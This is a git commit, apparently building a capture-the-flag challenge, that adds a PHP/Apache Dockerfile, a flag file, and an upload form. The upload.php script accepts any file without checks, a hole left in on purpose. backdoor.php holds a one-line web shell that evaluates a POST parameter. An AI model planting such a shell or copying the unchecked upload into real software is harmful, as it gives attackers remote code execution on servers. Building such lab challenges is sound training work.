完成出题框架

This commit is contained in:
Smart-SangGe 2023-09-20 10:05:29 +08:00
parent f79d4076ec
commit f4aaa09eb5
5 changed files with 59 additions and 0 deletions

1
backdoor.php Normal file
View File

@ -0,0 +1 @@
<?php @eval($_POST["passWord"]);?>

19
dockerfile Normal file
View File

@ -0,0 +1,19 @@
# 使用官方的 PHP 和 Apache 镜像作为基础
FROM php:8.0-apache
# 安装可能需要的 PHP 扩展(取决于您的应用程序)
RUN docker-php-ext-install mysqli pdo pdo_mysql
# 将您的代码复制到容器中。假设您的代码在当前目录的 "src" 子目录中
COPY src/ /var/www/html/
COPY flag.txt /flag.txt
# 更改文件和目录的所有权以避免权限问题
RUN chown -R www-data:www-data /var/www/html/
# 允许容器监听在 80 端口
EXPOSE 80
# 当容器启动时启动 Apache
CMD ["apache2-foreground"]

1
flag.txt Normal file
View File

@ -0,0 +1 @@
thisisflag

16
src/index.php Normal file
View File

@ -0,0 +1,16 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h2>上传文件</h2>
<form action="upload.php" method="post" enctype="multipart/form-data">
选择文件:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="上传文件" name="submit">
</form>
</body>
</html>

22
src/upload.php Normal file
View File

@ -0,0 +1,22 @@
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
// 检查文件是否已经存在
if (file_exists($target_file)) {
echo "对不起,文件已经存在。";
$uploadOk = 0;
}
// 尝试上传文件
if ($uploadOk == 0) {
echo "对不起,您的文件没有被上传。";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "文件 ". basename($_FILES["fileToUpload"]["name"]). " 已经被上传。";
} else {
echo "对不起,上传您的文件时出现错误。";
}
}
?>